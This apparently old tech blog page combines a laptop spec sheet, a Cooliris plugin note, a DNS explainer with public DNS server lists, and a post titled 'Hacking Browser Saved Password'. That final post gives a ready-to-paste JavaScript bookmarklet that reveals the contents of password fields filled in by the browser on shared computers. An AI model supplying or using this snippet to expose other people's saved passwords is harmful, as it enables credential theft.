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Compaq Presario CQ40-340TU

• Intel Pentium Dual Core Processor T4200 – 2.0GHz, 1MB L2 Cache, 800MHz FSB
• Mobile Intel GL40 Express Chipset
• 2GB DDR2 SODIMM Memory
• 250GB 5400RPM Hard Disk Drive SATA
• 14.1” Diagonal WXGA High Definition
• BrightView Widescreen Display (1280 x 800)
• Intel Graphics Media Accelerator 4500M
• SuperMulti 8X Double Layer DVD±RW Drive
• Hi-speed 56K modem, Integrated 10/100 LAN
• 802.11b/g Wireless LAN and Bluetooth
• Integrated 5-in-1 digital memory reader
• Built-in Webcam, Microphone, HDMI port
• 3xUSB 2.0, VGA port
• Altec Lansing Speakers
• 6 Cells Li-Ion Battery
• Weight: 2.29 Kgs.

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cooliris plugin for ubuntu

Click here to install CoolIric for Firefox Ubuntu Linux version

Cooliris, formerly known as PicLens, is a web browser plugin that provides interactive full-screen slideshows of online images. The plugin is available for Safari, Firefox, and Internet Explorer. At present, the software is compatible with Google Image Search, Yahoo! Image Search, Ask.com Images, Live Search Images, AOL Image Search, Flickr, Photobucket, Picasa, Fotki, FotoTime, deviantART, SmugMug, Facebook, MySpace, Bebo, hi5, Friendster, YouTube (for videos), Gallery, and any web site that implements mediaRSS <link> tags in their HTML pages. The software places a small icon in the corner of an image thumbnail when the mouse moves over it, which launches into a full-screen photo viewer when clicked.

Free public DNS

The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource participating in the Internet. It associates various information with domain names assigned to such participants. Most importantly, it translates domain names meaningful to humans into the numerical (binary) identifiers associated with networking equipment for the purpose of locating and addressing these devices world-wide. An often used analogy to explain the Domain Name System is that it serves as the “phone book” for the Internet by translating human-friendly computer hostnames into IP addresses. For example, www.xmodx.com translates to 69.65.10.202.

The Domain Name System makes it possible to assign domain names to groups of Internet users in a meaningful way, independent of each user’s physical location. Because of this, World-Wide Web (WWW) hyperlinks and Internet contact information can remain consistent and constant even if the current Internet routing arrangements change or the participant uses a mobile device. Internet domain names are easier to remember than IP addresses such as 69.65.10.202 (IPv4) or 2002:4541:0aca:: (IPv6). People take advantage of this when they recite meaningful URLs and e-mail addresses without having to know how the machine will actually locate them.

The Domain Name System distributes the responsibility of assigning domain names and mapping those names to IP addresses by designating authoritative name servers for each domain. Authoritative name servers are assigned to be responsible for their particular domains, and in turn can assign other authoritative name servers for their sub-domains. This mechanism has made the DNS distributed, fault tolerant, and helped avoid the need for a single central register to be continually consulted and updated.

Service provider: ScrubIt

* 67.138.54.100
* 207.225.209.66

Service provider: dnsadvantage

* 156.154.70.1
* 156.154.71.1

Service provider: OpenDNS

* 208.67.222.222
* 208.67.220.220

Service provider: vnsc-pri.sys.gtei.net

* 4.2.2.1
* 4.2.2.2
* 4.2.2.3
* 4.2.2.4
* 4.2.2.5
* 4.2.2.6

Service provider: Level 3 Communications (Broomfield, CO, US)
* 4.2.2.1
* 4.2.2.2
* 4.2.2.3
* 4.2.2.4
* 4.2.2.5
* 4.2.2.6

Service provider: Verizon (Reston, VA, US)
* 151.197.0.38
* 151.197.0.39
* 151.202.0.84
* 151.202.0.85
* 151.202.0.85
* 151.203.0.84
* 151.203.0.85
* 199.45.32.37
* 199.45.32.38
* 199.45.32.40
* 199.45.32.43

Service provider: GTE (Irving, TX, US)
* 192.76.85.133
* 206.124.64.1

Service provider: One Connect IP (Albuquerque, NM, US)
* 67.138.54.100

Service provider: Exetel (Sydney, AU)
* 220.233.167.31

Service provider: VRx Network Services (New York, NY, US)
* 199.166.31.3

Service provider: SpeakEasy (Seattle, WA, US)
* 66.93.87.2
* 216.231.41.2
* 216.254.95.2
* 64.81.45.2
* 64.81.111.2
* 64.81.127.2
* 64.81.79.2
* 64.81.159.2
* 66.92.64.2
* 66.92.224.2
* 66.92.159.2
* 64.81.79.2
* 64.81.159.2
* 64.81.127.2
* 64.81.45.2
* 216.27.175.2
* 66.92.159.2
* 66.93.87.2

Service provider: Sprintlink (Overland Park, KS, US)
* 199.2.252.10
* 204.97.212.10
* 204.117.214.10

Service provider: Cisco (San Jose, CA, US)
* 64.102.255.44
* 128.107.241.185

Hacking Browser Saved Password

Hacking Browser Saved Password

This post is for educational purposes only i just want to show you not to practice saving your password on public computers such as internet cafe’s!

STEP:
1) this looks familiar if you save your password on your friendster look at the image below

2) copy and paste the javascript code in your browser “Navigation Toolbar”

3) hit enter and the saved password will show

code:


javascript:var a = new String();
for (var i = 0; i < document.forms.length; i++) {
for (var j = 0; j < document.forms[i].elements.length; j++) {
if (document.forms[i].elements[j].type == "password") {
a += document.forms[i].elements[j].value; }
}
} alert(a);

thanks to arn-arn for this script